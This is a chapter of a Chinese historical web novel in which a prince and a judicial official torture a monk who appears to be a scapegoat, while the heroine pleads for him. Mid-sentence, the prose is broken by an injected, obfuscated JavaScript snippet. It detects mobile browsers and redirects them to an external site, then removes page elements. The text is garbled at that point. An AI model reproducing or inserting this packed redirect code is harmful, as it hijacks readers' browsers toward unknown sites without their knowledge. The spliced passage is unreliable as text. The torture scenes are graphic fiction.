太子那些传闻她先前亦有耳闻,只是没想到他竟这般肆无忌惮,在人前都敢这样对待有夫之妇。 “内子向来寡言,如有冒犯,末将代她向殿下赔个不是。”萧丞原身子往旁边侧了侧,挡住了傅景朗的视线。 温轻竹感激地看了他一眼,随而他轻轻握了握温轻竹的手示意她别怕。 傅景朗看两人那郎情妾意的样子,到底还是忍住了脾气,“咳咳,正事要紧,萧小将军,这次能结案多亏了你连日奔波搜寻线索啊。” “哪里的话,为殿下效力在所不辞。”萧丞原拱了拱手,“这一切还得归功于殿下及大理寺的大人们。” 他是待在法恩寺搜寻了许久线索,可却一无所获,但有傅景朗坐镇,没有他的允许不能轻易离开,是以众人只能耗着,整日里来回搜着山头,就差将地底下的蚂蚁窝都翻遍了,可愣是没找到凶手的一片衣角。 后来傅景朗给了他几天假,调了大理寺的人来查案,倒是没过多久就揪出了杀害弘让法师以及劫走辅国将军夫人的真凶。 大理寺卿冯世希处事圆滑,为人左右逢源,极擅长处理各种关系,即使是初次见面,不消一会儿便能和人聊得热火朝天。 “萧小将军,几日不见,近来可好啊?”他瘦长的脸上挂着虚伪的笑意,绿豆大小的眼睛眨巴着,里面闪烁着精光。 萧丞原:“还好。” 他不想与冯世希多废话,先前他在法恩寺时便极尽谄媚之能,把傅景朗哄得喜笑颜开,他向来不屑与之打交道,碰上了也只是点头示意。 “听说冯大人已抓住了凶手,真是大功一件啊。”萧丞原没什么表情道。 冯世希素来与这个冷傲的小将军不对付,只眼下听到难得的一句称赞,也不由开怀大笑,嘴上仍谦虚道:“萧小将军,可别这么说,这也有你的功劳啊,要不是有你协助查案,哪能这么快就结案呢。” 随后他又满面堆笑,对旁边的傅景朗小声说道:“殿下,您看这犯人现在就带上来吗?” 傅景朗接过随侍太监剥好的核桃,点点头,“你看着办吧。” “好,”冯世希提高了嗓门,“宣犯人!” 他平时说话还不觉得,嗓门一大尤其容易令人错觉是宫里当差的太监,那公鸭嗓刺耳极了。 “犯人醒让,你残忍杀害法恩寺弘让法师,并劫走辅国将军夫人吴氏,可有此事?”面对着嫌犯,冯世希倒是拿出了几分公正严明的做派。 “小僧从未做过。” 醒让一身僧衣血迹斑斑,因着关押多日,脏污遍布,甚至背上还有几个黑脚印,他抬起头来,一张脸已被折磨得肿胀不堪,脸上血迹才擦过不久,又顺着伤口往下流。 温轻竹惊讶地发现,这正是法恩寺负责洒扫的一位小师父,他素来和善,不管和谁说话总是一张笑脸,不成想竟被折腾成了这副惨状。 她连忙拽了拽萧丞原的衣袖,示意他看地上的人,熟料萧丞原似乎正专注案情,没有什么反应。 “好大的胆子!”冯世希瞪起那双小眼睛,扯出又尖又细的嗓子,“你残害得道高僧,劫掠将军夫人,简直是罪大恶极,死不足惜!” 转而瞥了眼萧丞原,威胁道:“萧小将军也在此,你是如何在众僧眼皮子底下劫走他母亲的,从实招来!否则,萧小将军怕是不依!” 萧丞原只冷然看着,未置一词。 他就知道会是这个结果,他们找不到真凶的,或者说不会将真凶暴露出来,因此人还有利用价值,但此案极为轰动,结案迫在眉睫,便从法恩寺找了个替罪羊。 醒让吐出了一口鲜血,“小僧冤枉!” “还在狡辩!”冯世希青筋暴露,面目狰狞道,“来人!” 很快来了个小吏,粗暴地拎起浑身无力软倒在地的醒让,啪啪扇了他两巴掌,“还嘴硬!” 醒让有气无力地张了张嘴,更多鲜血从嘴角涌了出来。 温轻竹这才看见他的门牙缺了几颗,手指头亦是光秃秃的,他的指甲不知何时被人残忍地拔出,指尖一片血肉模糊,十指连心,他该忍受多大的痛苦啊! 傅景朗森冷的目光盯着地上的醒让,“说出来,饶你不死!” 醒让被人强行捏着下巴,被迫抬起头来,仍旧说道:“小僧冤枉!” 他不明白,他只是寺里最普通的一个洒扫僧人,平日里尽职尽责完成打扫庭院,抽空还去听法师讲经,师兄弟们也都很喜欢他。 可为什么弘让法师被害后,却有人指认那日禅房失火前看见他鬼鬼祟祟进了禅房,许久不曾出来,此话一出,众僧都用异样的眼光看着他,那眼光里有愤怒,有仇恨,有怜悯……而后他就被大理寺带走了,在牢房里受尽酷刑,逼他承认杀害了弘让法师,以及劫走了辅国将军夫人,这分明是栽赃陷害啊! “哼,你冤枉,被你害死的弘让法师不冤枉?”傅景朗冷笑着。 眼看冯世希又要当堂用刑,屈打成招,温轻竹实在不忍心再看醒让遭罪,使劲扯了扯萧丞原的小臂,小声恳求道:“少将军,你帮帮他吧,他是无辜的!” 萧丞原握住她的手腕,给了个安抚的眼神,“现在还不是时候。” “萧小将军,你们夫妻感情当真是好,在说什么悄悄话呢?”傅景朗注意到他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197098|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的举动,好奇道。 “哦,内子说一定要让凶手付出代价,回去后才好宽慰母亲。”萧丞原不动声色道。 冯世希瞅了眼醒让,尴尬一笑,“萧小将军,你也看到了,这罪僧拒不认罪,恐怕要辜负将军夫人的期望了。” 但他先前已放出狠话,今日结案,当场还有这么多人等着,他总得让这个事收场,给法恩寺和将军府一个交代,又不能真来硬的把人弄死了,这着实有些难办。 冯世希用袖子擦了擦脸上淌着的汗水,侧着身子对傅景朗谄媚道:“殿下,您看这……” “这就是你办的差事?”傅景朗等得没了耐心,当即不留情面地大声斥责,“亏你还担任大理寺卿,小小一个案子办了这么久还结不了案么?底下人不懂事,你也不知如何结案吗?啊?” 冯世希憋了一肚子火,灰头土脸地夺过小吏拿在手中还没来得及施刑的鞭子,“啪”的一声打在醒让背上,又添一道血痕,听声音便知力道极重,伤得极深。 “好你个和尚,做了恶事还敢嘴硬,我看是你的嘴硬,还是我的鞭子硬!”他恼怒至极,转眼又“啪啪啪”甩了好几鞭下去,醒让奄奄一息昏倒在地。 “别打了!”温轻竹不忍再看这等惨状,忍不住站起来道。 醒让何其无辜,他不该这样一而再再而三地凌辱他,再这样下去会出人命的! 萧丞原蹙着眉,想把她拉回来坐好,傅景朗已转移视线,直视着这个胆量过人的女子,玩味道:“哦,你是想为他求情?别忘了,他可是劫走了你婆母的人。” “我……”温轻竹是冲动之下站起来的,但被傅景朗这般逼问,她嗫嚅着,不知说什么好,她没有证据证明醒让不是凶手,她只知道醒让不是那样的人。 “萧小将军,可别让你夫人坏了大事!”傅景朗语气肃然,充满警告的意味。 萧丞原连忙把温轻竹拉回身边坐下,“殿下说的是。” 温轻竹挣了挣,想再为醒让辩驳几句,萧丞原却紧紧摁着她,严肃地摇了摇头。 经过这个小插曲,傅景朗显然也没了刑讯逼供的心情,命冯世希将人押回大牢,改日再审。 傅景朗走之前深深地看了温轻竹一眼,什么话也没说,温轻竹被他盯得毛骨悚然,不知他是什么意思,总觉得很是怪异。 回去路上,温轻竹情绪非常低落,自顾自走在前面,只用手绞着头发,闷闷不乐的打发时光。 萧丞原几步跟上她,捏住了她的胳膊,“你今日太莽撞了些!” “没想到少将军这般冷血,见死不救!”温轻竹挣扎了两下,终于挣脱他的钳制,但也无力至极。 她以为他多少会有所表示,救下醒让的性命,再不济让他少受点伤害,可没想到他冷酷无情到了这个地步,看见醒让被人折磨地生不如死竟一言不发,如此漠视生命! 是她错看了他,以为他和传闻中冷情冷血的杀人狂魔不一样,没想到他今日这般见死不救,分明是见惯了此等血腥残忍的场面。 可笑她之前还对他抱有期待,以为他是个正直之人。